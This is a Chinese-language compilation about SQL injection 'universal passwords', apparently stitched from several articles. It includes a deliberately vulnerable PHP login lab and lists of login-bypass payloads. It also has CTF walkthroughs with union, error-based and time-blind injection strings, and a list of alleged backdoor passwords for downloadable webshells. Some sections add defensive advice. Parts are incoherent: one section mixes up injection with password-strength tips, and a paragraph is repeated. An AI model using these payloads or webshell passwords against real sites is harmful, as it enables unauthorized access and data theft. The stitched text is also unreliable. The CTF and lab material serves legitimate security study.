注入总结之万能密码
- 格式:docx
- 大小:16.91 KB
- 文档页数:2
sql注入万能密码原理SQL注入,是指攻击者通过在Web应用程序提交恶意的SQL代码,来访问和操作数据库中的数据的一种攻击手段。
而SQL注入万能密码,则是一种特殊类型的SQL注入攻击,攻击者利用已知的SQL语句,注入恶意代码,从而绕过验证,成功地访问目标数据库。
下面将为你介绍SQL注入万能密码的原理。
SQL注入万能密码的原理是通过绕过服务端的验证校验,直接访问数据库,以实现对目标数据库的操纵。
攻击者通常会利用已知的SQL语句模板,向目标数据库提交伪造的请求,以达到绕过验证的目的。
例如,一个常见的SQL注入语句模板如下:SELECT * FROM users WHERE username='输入的用户名' AND password='输入的密码';攻击者会意识到,该SQL语句是通过从输入框获取用户的用户名和密码,然后检查这些输入是否与数据库中存储的详细信息匹配来完成的。
因此,如果攻击者能够通过某种方式告诉数据库,用户名和密码已经被匹配,那么该数据库就可以被攻击者轻松地绕过验证。
为了做到这一点,攻击者会向用户名输入框中注入一些恶意代码。
例如,如果攻击者在用户名框中输入以下内容:' OR 1=1#那么,数据库将会认为攻击者已经输入了用户名,并且尝试用正确的密码进行登录。
使用前面的SQL语句模板,攻击者的注入行为将导致SQL语句变成以下内容:当这个SQL语句发送到数据库时,数据库会执行其中的代码,而不是进行验证用户名和密码是否匹配。
那么这个 SQL 查询就会在数据库中检索到“users”表的所有行,并返回它们到攻击者的web应用程序中。
这就相当于攻击者获得了访问数据库的权限,因为攻击者已成功地绕过了验证和限制。
最后需要注意的是,很多的Web应用程序通常使用全局万能密码,让攻击者可以轻松地绕过验证。
例如,经典的全局万能密码(root, abc123等)马上成为了历史。
构造万能密码的方法随着科技的发展和信息社会的到来,越来越多的人开始关注自己的密码安全。
电子邮件、社交媒体、银行账户等各种在线服务都需要密码进行认证。
因此,保护自己的密码安全是非常重要的。
建立一个万能密码可以保护你的绝大多数账户,提高你的密码安全性。
下面是一些构造万能密码的方法。
1.使用符号或数字替代字母:将一些字母替换成符号或数字可以增加密码的难度。
比如将"o"变成"0"、将"E"变成"3"、将"S"变成"$",这样可以在一定程度上增加密码的复杂度。
2.选择一个短语作为你的密码:用一个短语作为密码,并将它们之间的字母复杂化,比如"B2myn0wM@",这种方法可以让你记住复杂的密码。
3.使用随机密码生成器:使用随机密码生成器生成随机的密码。
这种方法可以确保你的密码具有最高的安全性,因为它是使用完全随机的字符生成的。
4.使用密码管理器:使用密码管理器来存储所有的密码。
密码管理器可以自动生成随机密码,并以安全的方式保存、加密和存储密码。
考虑使用一个好的密码管理器可以帮你管理各种复杂的密码。
5.使用多因素认证:为了更安全地保护你的账户,请启用多因素认证。
多因素认证是一种需要你提供多个身份验证的方法,比如输入密码和收到短信验证代码,这样可以大大增加账户的安全性。
最后,要避免使用简单的密码,比如"123456"或"password"之类,这些密码非常常见,容易猜测将会导致账户不安全。
选择一个安全的密码可以保护你的账户和隐私,这是非常重要的。
万能密码的SQL注⼊漏洞其PHP环境搭建及代码详解+防御⼿段⽬录环境搭建这个渗透环境的搭建有以下⼏点基于session的会话登录界⾯登录成功界⾯注销界⾯数据库搭建数据库连接session会话服务器端利⽤session_start()函数发起⼀次session的会话此时我们登录成功后⽤户的数据被保存在服务器端的Cookie: session= ,即sessionID如果需要再次访问服务器端的$_SESSION['...']会获取⽤户session然后与原本存在于服务器的sessionID进⾏⽐对,如果⽐对成功,则证明⽤户正确环境搭建代码创建数据库脚本在MySQL中使⽤source命令即可运⾏脚本:drop database if exists lab;create database lab;use lab;create table users(id int not null auto_increment,username char(32) not null,passcode char(32) not null,primary key(id));insert into users(username,passcode) values('admin','admin123');insert into users(username,passcode) values('alice','alice456');登录界⾯html:<html><head><meta charset="UTF-8"><title>Login</title><style>#a {width: 500px;text-align: center;}.b {width: 200px;height: 30px;}</style></head><body><div id=a><h2>Login!</h2><form name="form_login" method="POST" action="check_login.php">Username:<input type="text" class="b" name="username" /><br> <br>Password:<input type="password" class="b" name="password" /><br><input type="submit" name="Submit" value="Submit" /><input type="reset" name="reset" value="Reset" /></form></div></body></html>查询数据库是否为正确的账号密码php代码<?phpinclude('con_database.php');$username=isset($_POST['username'])?$_POST['username']:'';$password=isset($_POST['password'])?$_POST['password']:'';if($username=='' || $password==''){echo "<script>alert('请输⼊账号和密码!')</script>";exit;}$sql="select * from users where username='$username' and passcode='$password'";$query=mysqli_query($con,$sql) or die('SQL语句执⾏失败'.mysqli_error($con));if ($row=mysqli_fetch_array($query)){session_start();$_SESSION['username']=$row[1];echo "<a href='welcome.php'>欢迎访问</a>";}else{echo "<script>alert('登录失败!');history.go(-1)</script>";}mysqli_close($con);>连接数据库php代码:<?php$con=mysqli_connect('127.0.0.1','root','root') or die("数据库连接失败!");mysqli_select_db($con,'lab')or die("数据库连接失败");>注销登录代码(即关闭session会话)<?phpsession_start();session_unset();session_destroy();echo "注销成功";>登录成功欢迎界⾯:<?phpsession_start();if(isset($_SESSION['username'])){echo "欢迎⽤户".$_SESSION['username']."登录";echo "<br>";echo "<a href=logout.php>退出登录</a>";}else{echo "您没有权限访问";}>⾄此,我们的渗透环境就构建好了万能密码漏洞剖析⽤户名输⼊' or 1=1 or',密码随意,发现可以登录进去密码输⼊ 'or '1=1 也可以登录进去当然登录⽅法不⽌⼀种:原来查询语句是这样的:$sql="select * from users where username='$username' and passcode='$password'";经过注⼊之后,变成:$sql="select * from users where username='' or 1=1 or ' and passcode='****'";我们观察到,where后⾯呃字句中的username被闭合,并且字句分成三个句⼦并⽤or连接。
sql注入万能密码ctf题在CTF(Capture The Flag)比赛中,SQL注入是一种常见的挑战类型。
为了解决这类问题,你需要了解如何识别和防止SQL注入攻击。
首先,让我们了解一下什么是SQL注入:SQL注入是一种常见的网络攻击手段,攻击者通过在输入字段中输入恶意SQL代码来篡改原本的SQL查询。
一旦攻击成功,攻击者可以获取、修改或删除数据库中的数据。
为了防范SQL注入攻击,你需要采取以下措施:使用参数化查询或预编译语句:这是防止SQL注入的最有效方法。
参数化查询可以确保输入的数据被正确地转义,并且不会被解释为SQL代码。
对输入进行验证和过滤:确保所有用户输入都经过适当的验证和过滤。
只允许符合预期格式的数据通过验证。
使用最小权限原则:数据库连接应该使用尽可能低的权限。
例如,如果应用程序只需要读取数据,那么应该使用只读权限连接到数据库。
错误处理:不要在生产环境中显示详细的数据库错误信息。
这可以防止攻击者利用错误信息来进一步攻击。
更新和打补丁:保持数据库管理系统和应用程序的更新,及时应用安全补丁。
在CTF比赛中,你可能会遇到要求你利用SQL注入漏洞获取敏感信息的题目。
为了解决这类题目,你可以尝试以下步骤:识别输入字段:在网页中找到用户可以输入数据的字段,如搜索框、登录表单等。
尝试注入:在输入字段中尝试常见的SQL注入攻击字符串,如' OR '1'='1。
如果应用程序出现异常或返回意外的结果,那么可能存在SQL注入漏洞。
利用漏洞:一旦确认存在SQL注入漏洞,你可以尝试使用各种技巧来获取敏感信息,如使用UNION SELECT 语句来提取其他表的数据。
验证和利用结果:确保你正确地利用了漏洞,并获取了所需的信息。
LDAP注⼊概述LDAP(Lightweight Directory Access Protocol):即轻量级⽬录访问协议。
是⼀种运⾏于TCP/IP之上的在线⽬录访问协议,主要⽤于⽬录中资源的搜索和查询。
使⽤最⼴泛的LDAP服务如微软的ADAM(Active Directory Application Mode)和OpenLDAP。
⽽LDAP 注⼊是利⽤⽤户引⼊的参数⽣成恶意 LDAP 查询,通过构造 LDAP 过滤器来绕过访问控制、⽤户权限提升。
在维持正常过滤器的情况下构造出 AND、OR 操作注⼊来获得敏感信息。
⽬录数据库结构LDAP数据库,是树结构的,数据存储在叶⼦节点上。
dn:⼀条记录的位置dc:⼀条记录所属的区域ou:⼀条记录所属的组织cn/uid:⼀条记录的名字/ID⾸先要说明是哪⼀棵树(dc),然后是从树根到⽬标所经过的所有分叉(ou),最后就是⽬标的名字(cn/uid),借⽤⼀张图来表明结构如下:条⽬&对象类&属性条⽬(entry):是⽬录中存储的基本信息单元,上图每⼀个⽅框代表⼀个entry。
⼀个entry有若⼲个属性和若⼲个值,有些entry还能包含⼦entry对象类(obejectclass):对象类封装了可选/必选属性,同时对象类也是⽀持继承的。
⼀个entry必须包含⼀个objectClass,且需要赋予⾄少⼀个值。
⽽且objectClass有着严格的等级之分,最顶层是top和alias。
例如,organizationalPerson这个objectClass就⾪属于person,⽽person⼜⾪属于top属性(atrribute):顾名思义,⽤来存储字段值。
被封装在objectclass⾥的,每个属性(attribute)也会分配唯⼀的OID号码基本的LDAP语法= 等于& 逻辑和| 逻辑或! 逻辑不* 通配符逻辑操作符(AND、OR、NOT)和关系操作符(=、>=、<=、~=)除使⽤逻辑操作符外,RFC4256还允许使⽤下⾯的单独符号作为两个特殊常量:(&) ->Absolute TRUE(|) ->Absolute FALSE对象定义:objectclass: topobjectclass: person对象类定义:objectclass: personobjectclasses=( 2.5.6.6 NAME 'person' DESC 'Defines entries that generically represent people.' SUP 'top' STRUCTURAL MUST ( cn $ sn ) MAY ( userPassword $ telephoneNumber $ seeAlso $ description )属性定义:attributetypes=( 2.5.4.4 NAME ( 'sn' 'surName' ) DESC 'This is the X.500 surname attribute, which contains the family name of a person.' SUP 2.5.4.41 EQUALITY 2.5.13.2 ORDERING 2.5.13.3 SUBSTR 2.5.13.4 USAGE userApplications ) 搜索语法:主要根据属性和值进⾏搜索attribute operator valueLDAP查询语句⼀个圆括号内的判断语句⼜称为⼀个过滤器filter。
Sql注⼊的分类:数字型+字符型Sql注⼊:就是通过把SQL命令插⼊到Web表单提交或输⼊域名或页⾯请求的查询字符串,最终达到欺骗服务器执⾏恶意的SQL命令。
通过构造恶意的输⼊,使数据库执⾏恶意命令,造成数据泄露或者修改内容等,以达到攻击的⽬的。
主要是由于应⽤程序对⽤户的输⼊没有进⾏严格的过滤⽽造成的。
⼀、万能密码在说sql注⼊分类之前,先来看⼀下万能密码的构成原理。
万能密码是由于某些程序,通过采⽤判断sql语句查询结果的值是否⼤于0,来判断⽤户输⼊数据的正确性造成的。
当查询之⼤于0时,代表⽤户存在,返回true,代表登录成功,否则返回false 代表登录失败。
由于 ‘or 1=1--' 在执⾏后,结果始终为1,所以可以登录成功。
因此,被称为万能密码。
⼆、注⼊的分类注⼊的分类:数字型和字符型。
攻击者⽬的只有⼀点,那就是绕过程序的限制,使⽤户输⼊的数据带⼊数据库执⾏,利⽤数据库的特殊性获取更多的信息或者更⼤的权限。
1、数字型注⼊当输⼊的参数为整形时,如果存在注⼊漏洞,可以认为是数字型注⼊。
测试步骤:(1)加单引号,URL:’对应的sql:select * from table where id=3’ 这时sql语句出错,程序⽆法正常从数据库中查询出数据,就会抛出异常;(2)加and 1=1 ,URL: and 1=1对应的sql:select * from table where id=3’ and 1=1 语句执⾏正常,与原始页⾯如任何差异;(3)加and 1=2,URL: and 1=2对应的sql:select * from table where id=3 and 1=2 语句可以正常执⾏,但是⽆法查询出结果,所以返回数据与原始⽹页存在差异如果满⾜以上三点,则可以判断该URL存在数字型注⼊。
2、字符型注⼊当输⼊的参数为字符串时,称为字符型。
字符型和数字型最⼤的⼀个区别在于,数字型不需要单引号来闭合,⽽字符串⼀般需要通过单引号来闭合的。
简述万能密码的原理
万能密码是指一种可以解锁或者访问多种密码保护系统和账户的通用密码。
其原理可以归结为以下几点:
1. 缺乏密码复杂度:万能密码通常由普通而简单的字符组成,例如"123456"、"password"等。
这些密码通常不符合密码复杂
性要求,容易被猜测或者破解。
2. 被广泛使用:由于万能密码较为简单和容易记忆,许多人会选择将其作为默认密码或者在多个账户上重复使用。
因此,当某个账户或系统泄露了用户的密码时,攻击者可能会利用万能密码尝试访问其他账户。
3. 缺乏多因素认证:万能密码通常没有与其他认证形式(如指纹、短信验证码等)结合使用,缺乏多层次的安全验证,易于被攻击者绕过。
由于以上原因,万能密码造成了账户和系统的安全隐患。
因此,为了确保账户和系统的安全,用户应该遵循密码安全性的最佳实践,如使用复杂且不易猜测的密码、定期更改密码、不在多个账户上重复使用密码,以及启用多因素认证等。
“万能密码”SQL注入基本原理目录引言: (1)项目研究原因: (2)项目进展情况: (2)结论: (7)引言:如今,互联网上的攻击、入侵事件频发,攻击手段越来越多样,攻击工具也泛滥成灾,这其中尤其以注入攻击最为常见。
因为这种攻击方式技术门槛低,攻击工具多。
注入攻击利用网站页面的用户提交数据功能,恶意编造具有攻击破坏性质的特殊数据字符串,提交给网站执行。
如果网站源代码设计不健壮,对提交的数据没有做严格的防范过滤,就很容易被利用,黑客可以以此为突破口,攻入网站服务器。
而本次项目所研究的“万能密码”就是注入的一种方式,他通过在管理登陆界面输入能欺骗网站的代码伪装成以认证的管理人员从而非法获取管理员权限从而非法修改网站。
项目研究原因:后台登录的“万能密码”是一个学长发现了某网站的这个漏洞从而告知我们小组的,我们小组对此产生了极大的兴趣:为何看似严谨的登录界面会有能通过一段代码就能登录、而且还能获得最高权限。
所以我们决定这次的百团百题项目以此为研究方向。
项目进展情况:我们上网查找了有关后台“万能密码”相关的资料发现一个严重的问题:这个技术已经相对落后,很多网站不能从网页源码中分析出注入漏洞的存在。
所以我们就从网上找了一些老的网站源码案例拿来研究:我们从百度百科的“注入漏洞”的词条中找到了相关存在漏洞的案例:下面用“蚂蚁影院3.0”版注销用户(wantlogin.asp)中的一段源码来做一下介绍:(下划线选取为引用案例内容)<%if request("userid1")<>""thenset rst=server.createobject("adodb.recordset")sql="select money,online from users where userid="&request("userid1")&" and password="&md5(request("pws"))&""rst.open sql,conn,1,3if rst.eof and rst.bof thenresponse.write"<script>alert(用户名或密码错误!);history.back();</Script>"elseresponse.write"<script>alert(恢复成功你现在可以登陆!);</Script>" response.write"<script Language=Javascript>location.href= index.asp;</script>"rst.closeset rst=nothingconn.closeset conn=nothingend ifend if%>我们能够很明显的看到这段代码:sql="select money,online from users where userid="&request("userid1")&" and password="&md5(request("pws"))&""存在关键词:sql、并且在这个语句后面有逻辑运算符的话就代表了这个网站有被sql注入的可能。
最强⿊吃⿊:WEBSHELL⼤马隐藏万能密码⼤全因为很多原因,很多新⼿都不会编写⾃⼰的⼤马,⼤多数新⼿都会通过百度去下载对应脚本的⼤马,然⽽这些webshell⼤马都是早期流传出来的,基本上都存在后门,可以通过万能密码登录,即使你修改i过密码了,怎么样是不是很可怕?下⾯⼩编就将这些万能密码分享给⼤家吧!⿊⽻基地免杀asp⼤马密码5201314Hacked By CHINA! 密码chinaAsp站长助⼿6.0 密码584521web综合安全评测 – Beta3 密码nohack未知数X 密码45189946baidu}” 密码baidu路遥知马⼒密码123⿊客⽹站之家美化版密码chenxueThé、End.゛密码and QQ:2780217151笑佛天下密码cnot西域⼩刚-站长助⼿-修改版本密码xxoxxXXXXX 密码rinima暗组超强功能修正去后门加强S-U提权版密码hkk007⿊客官⽅-长期提供⽹站⼊侵,密码破解数据库⼊侵密码chengnuoASPAdmin_A 密码”5556661221″ ‘123456⽕狐ASP⽊马(超强版)” 密码wrsk⾬夜孤魂密码54321Dark Security Team 密码yuemo 或者xingainian随风⾃由的泪密码jcksyes伟⼤的农民密码521mr.con asp⼩马密码*******JspX 密码4lert围剿专版密码yuemo或者5201314maek dream 密码hackerShell 密码xxxxx靈魂◆安全⼩组+” 密码10011C120105101银河安全⽹密码fclsharkASPXSpy 密码19880118Dark 密码376186027No Backdoor Webshell(⼑) 密码admin⿊勇⼠shell勇⼠版密码654321⼩武来了密码535039Evil sadness 密码adminF.S.T 联盟交流群内部版别外传噢密码000独⾃等待专⽤密码123windows 密码 123[D.s.T]会员专⽤WebShell 密码darkst我要进去’ 密码jcksyesHacker‘Rose 密码123456随风⾃由的泪密码jcksyesF.S.T 海盗内部版.!别外传噢。
web开发常见的⼏⼤安全问题⼀、SQL注⼊SQL注⼊是⼀种常见的Web安全漏洞,攻击者利⽤这个漏洞,可以访问或修改数据,或者利⽤潜在的数据库漏洞进⾏攻击。
SQL注⼊,就是通过把SQL命令插⼊到Web表单提交或输⼊域名或页⾯请求的查询字符串,最终达到欺骗服务器执⾏恶意的SQL命令。
具体来说,它是利⽤现有应⽤程序,将(恶意的)SQL命令注⼊到后台数据库引擎执⾏的能⼒,它可以通过在Web表单中输⼊(恶意)SQL语句得到⼀个存在安全漏洞的⽹站上的数据库,⽽不是按照设计者意图去执⾏SQL语句。
1.SQL注⼊的原理我们先举⼀个万能钥匙的例⼦来说明其原理:<form action="/login" method="POST"><p>Username: <input type="text" name="username" /></p><p>Password: <input type="password" name="password" /></p><p><input type="submit" value="登陆" /></p></form>后端的 SQL 语句可能是如下这样的:let querySQL = `SELECT *FROM userWHERE username='${username}'AND psw='${password}'`;// 接下来就是执⾏ sql 语句...这是我们经常见到的登录页⾯,但如果有⼀个恶意攻击者输⼊的⽤户名是admin' --,密码随意输⼊,就可以直接登⼊系统了。
【经验分享】后台常⽤的万能密码这万能密码好⼏年前就有了。
我都不当回事,结果这次真派上⽤场了,还真进了后台了⽹站后台万能密码就是在⽤户名与密码处都写⼊下列字符,如果知道管理员帐号的话直接添帐号,效果会更好!例如我们要利⽤第⼀条就是:⽤户名:"or "a"="a密码:"or "a"="a*********************************************************1:"or "a"="a2: '.).or.('.a.'='.a3:or 1=1--4:'or 1=1--5:a'or' 1=1--6:"or 1=1--7:'or.'a.'='a8:"or"="a'='a9:'or''='10:'or'='or'原理都是利⽤SQL语法来利⽤注⼊,其实这也是注⼊的⼀种,都是因为提交字符未加过滤或过滤不严⽽导致的.其实万能是没有的,默认是很多的,adminadminadminadmin888少数ASP⽹页后⾯登陆时可以⽤密码1'or'1'='1(⽤户名⽤admin等试)登陆成功。
这⼀般也是SQL注⼊的第⼀课,原理涉及到SQL语句……验证登陆时,如果密码=输⼊的密码,那么登陆成功,把1' or '1'='1带⼊即“如果密码=1或者1=1那么登成功”由于1=1恒成⽴,且“密码=1”与“1=1”是逻辑或的关系,则整句为TRUE,即登陆成功。
这样说懂不?其实后台万能登陆密码这个称号真的不那么专业,或许叫做“后台验证绕过语句”还好些,不过前者叫得普遍些。
说实话如果一个网站的前台都是注入漏洞,那么凭经验,万能密码进后台的几率基本上是百分之百。
可是有的人说对PHP的站如果是GPC魔术转换开启,就会对特殊符号转义,就彻底杜绝了PHP注入。
其实说这话的人没有好好想过,更没有尝试过用万能密码进PHP的后台。
其实GPC魔术转换是否开启对用万能密码进后台一点影响也没有。
如果你用这样的万能密码'or'='or',当然进不去,理由是GPC开启的时候单引号会被转换。
PHP注入时我常用的万能密码是:'or 1=1/*.那我们分析一下为什么这可以进后台。
如果sql语句这样写:"SELECT * FROM admin where name='".$_POST['name']."'and password='".$_POST['password']."'",那我们在帐号处输入万能密码'or 1=1/*,密码随便输,sql 语句就成了select * from admin where name='’or 1=1/*' and password='任意字符'。
/*为mysql的注释符,说实话如果一个网站的前台都是注入漏洞,那么凭经验,万能密码进后台的几率基本上是百分之百。
可是有的人说对PHP的站如果是GPC魔术转换开启,就会对特殊符号转义,就彻底杜绝了PHP注入。
其实说这话的人没有好好想过,更没有尝试过用万能密码进PHP的后台。
其实GPC魔术转换是否开启对用万能密码进后台一点影响也没有。
如果你用这样的万能密码'or'='or',当然进不去,理由是GPC开启的时候单引号会被转换。
PHP注入时我常用的万能密码是:'or 1=1/*.那我们分析一下为什么这可以进后台。
BUUCTF-SQL注⼊[极客⼤挑战 2019]EasySQL考点:sql注⼊-万能密码[极客⼤挑战 2019]LoveSQL考点:union联合注⼊解题1、⽤万能密码就登进去了2、⽤admin和fc04b11f3d0602213859e9c721e53116登进去还是⼀样的3、order by查出3个字段4、爆当前库名:' union select 1,1,database() #->库名:geek5、爆表名:' union select 1,1,group_concat(distinct table_name) from information_schema.tables where table_schema='geek' #->根据题⽬,表名应该就是l0ve1ysq16、查询所有的字段名:' union select 1,1,group_concat(distinct column_name) from information_schema.columns where table_name='l0ve1ysq1' #->id,username,password7、' union select 1,1,group_concat(password) from l0ve1ysq1 #[极客⼤挑战 2019]BabySQL考点:union联合注⼊解题1、⽤万能密码登陆,回显过滤了or ,双写绕过:' oorr 1=1 #2、⽤order by查出3个字段' oorrder bbyy 1 #3、爆当前库名:(回显union和select都被过滤,双写绕过)' ununionion seselectlect 1,1,database() #->库名:geek4、爆表名:(回显from、where被过滤)注意information⾥的or' ununionion seselectlect 1,1,group_concat(distinct table_name) frfromom infoorrmation_schema.tables whwhereere table_schema='geek' #->表名:b4bsql,geekuser,有2个,肯定是b4bsql5、爆字段:' ununionion seselectlect 1,1,group_concat(distinct column_name) frfromom infoorrmation_schema.columns whwhereere table_name='b4bsql' #->id,username,password6、' ununionion seselectlect 1,1,group_concat(passwoorrd) frfromom b4bsql #BabySql过滤了or,union,select,from等关键字,看回显缺什么再写⼀遍就⾏了,其它和上⼀关LoveSql⼀样。
CTFSQL注⼊⼀、宽字节注⼊原理:GBK编码、URL转码利⽤mysql的⼀个特性,mysql在使⽤GBK编码的时候,会认为两个字符是⼀个汉字(前⼀个ASCII码要⼤于128,才到汉字的范围)例如:' -> ' -> %5C%27%df' -> %df' -> %df%5C%27sql字符集特性MYSQL 中 utf8_unicode_ci 和 utf8_general_ci 两种编码格式, utf8_general_ci不区分⼤⼩写, Ä = A, Ö = O, Ü = U 这三种条件都成⽴, 对于utf8_general_ci下⾯的等式成⽴:ß = s ,但是,对于utf8_unicode_ci下⾯等式才成⽴:ß = ss 。
可以看到⼤写O和Ö是相等的SQL注⼊常⽤URL编码空格 %20' %27# %23\ %5Cphp-addslashes函数:在特殊字符前加上反斜线\来转义如何从addslashes函数逃逸?\前⾯再加⼀个\,变成\\',这样\就被转义了把\弄没表名或列名可以使⽤16进制转码来实现例如:ctf -> 0x637466sqlmap中加参数--hex⼆、基于约束的注⼊原理:超过数据类型长度的部分不会被插进表⾥,如果不将字段作为唯⼀字段,可以插⼊重复的数据例如:注册admin + 很多空格 + 1,成功以admin⾝份登录三、报错注⼊公式and (select 1 from (select count(*),concat(user(),floor(rand(0)*2)x from information_schema.tables group by x)a));or updatexml(1,concat(0x7e,(version())),0)//最⼤长度是32位and extractvalue(1,concat(0x7e,(select database())))and exp(~(select * from (select user())a));and updatexml(1,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,41),1)四、时间盲注原理:能够截取字符串,同时触发延时即可SELECT * FROM table WHERE id = 1 AND (if(SUBSTR(database(),1,1)=' ',sleep(5),null))SELECT * FROM table WHERE id = 1 AND (if(acsii(substr(database(),1,1))=100,sleep(5),null))相关函数延时⽅法SLEEP(duration)BENCHMARK(count,expr)例如select benchmark(10000000,sha(1))笛卡尔积例如SELECT count(*) FROM information_schema.columns A,information_schema.columns B, information_schema.tables C;ps:COUNT(*)计算⾏数GET_LOCK(str,timeout)需要开启两个会话才能⽣效RLIKE通过rpad或repeat构造长字符串,加以计算量⼤的pattern,通过repeat的参数可以控制延时长短例如select concat(rpad(1,9999999,'a'),rpad(1,9999999,'a'),···,rpad(1,9999999,'a')) RLIKE '(a.*)+(a.*)+···+(a.*)+b条件IF(expr1,expr2,expr3)CASE WHEN [condition] when [result]字符串截取SUBSTR(SUBSTRING)substr同substring,有多种参数选择SUBSTRING(str,pos), SUBSTRING(str FROM pos), SUBSTRING(str,pos,len), SUBSTRING(str FROM pos FOR len)MID(str,pos,len)同SUBSTRING(str,pos,len)SUBSTRING_INDEX(str,delim,count)LEFT(str,len)字符串转换ASCII()ORD()CHR()五、bool盲注原理:利⽤回显的消息不同,判断输⼊表达式是否正确常⽤函数基本同时间盲注六、order by的注⼊使⽤ORDER BY⼦句对查询结果按⼀列或多列排序。
PHP+MySql
前提:检测用户名密码的时候必须用这种形式的sql语句:
$q = "select * from admin where username='$username' and password='$password' ";
并且没有检查变量,过滤,如果过滤了’ or and # --则不能成功,但是如果只是开启GPC的话,注释还是可行的1、利用逻辑运算:
‘ or ‘’=’
‘ or ‘’=’’ or ‘’=
有些数据库不会认为“空”=“空”是成立的条件,这样就带一个1=1
2、利用mysql里的注释语句# ,/*
‘ or 1=1 /*
‘ or 1=1 #
‘ or 1=1 %23(防止#在地址栏中变成空格,所以用%25代表#)
ASP+Access
前提:
$q = " select * from admin where username =' " & name & " ' and password=' "&encrypt(pwd)&" ' "
1、利用逻辑运算:(与PHP+MySql的相同)
2、利用access里的注释语句
Access中没有专门的注释符号,因此/*,--,#都不能使用,但是可以使用空字符NULL(%00)代替
‘ or 1=1%00
ASP+Ms Sql
1、利用逻辑运算:(与PHP+MySql的相同)
2、利用MsSql里的注释语句
--(双连字符,这些注释字符可与要执行的代码处在同一行,也可另起一行。
从双连字符开始到行尾均为注释。
)’ or 1=1 --
==============================华丽的分割线====================================
优先原则----出现or同时又出现and时,则先运算and运算符
有的人说对PHP的站如果是GPC魔术转换开启,就会对特殊符号转义,就彻底杜绝了
PHP注入, 其实说这话的人没有好好想过,更没有尝试过用万能密码进PHP的后台。
如果你用这样的万能密码'or'='or',当然进不去,理由是GPC开启的时候单引号会被转换。
PHP注入时我常用的万能密码是:'or 1=1/*.
那我们分析一下为什么这可以进后台:
如果sql语句这样写:"SELECT * FROM admin where name='$_POST['name']'and
password='$_POST['password']’,那我们在帐号处输入万能密码'or 1=1/*,密码随便输,sql
语句就成了select * from admin where name='’or 1=1/*' and password='任意字符'。
/*为mysql的注释符,这样后面的东西就都被注释掉了,也就是为什么密码随便输的原因。
假设GPC转换没有开启,那么请看:where name='’or 1=1(*/后面的东西被注释掉了),
name='’的逻辑值为假,而后面的1=1逻辑值则为真,对于整体就成了假or 真,最终的逻辑值
还是真,就进后台了。
那么如果GPC转换开启了,就对单引号进行了转换。
语句就变成了where name='\’or 1=1,在
看一下和刚才有什么区别,无非是多了个\。
name='\'与name=''的逻辑值一样,都为假,那1=1
为真,总的sql语句的逻辑值不还是真吗?那有进不去后台的理由吗?
所以总的来说,php网站的万能密码可以这样写:'or 1=1/*,而GPC转换是否开启对它没有任何影响!
附录:
对于PHP magic_quotes_gpc=on的情况,我们可以不对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作,数据也会正常显示,magic_quotes_gpc作用范围是:WEB客户服务端;作用时间:请求开始时,例如当脚本运行时.。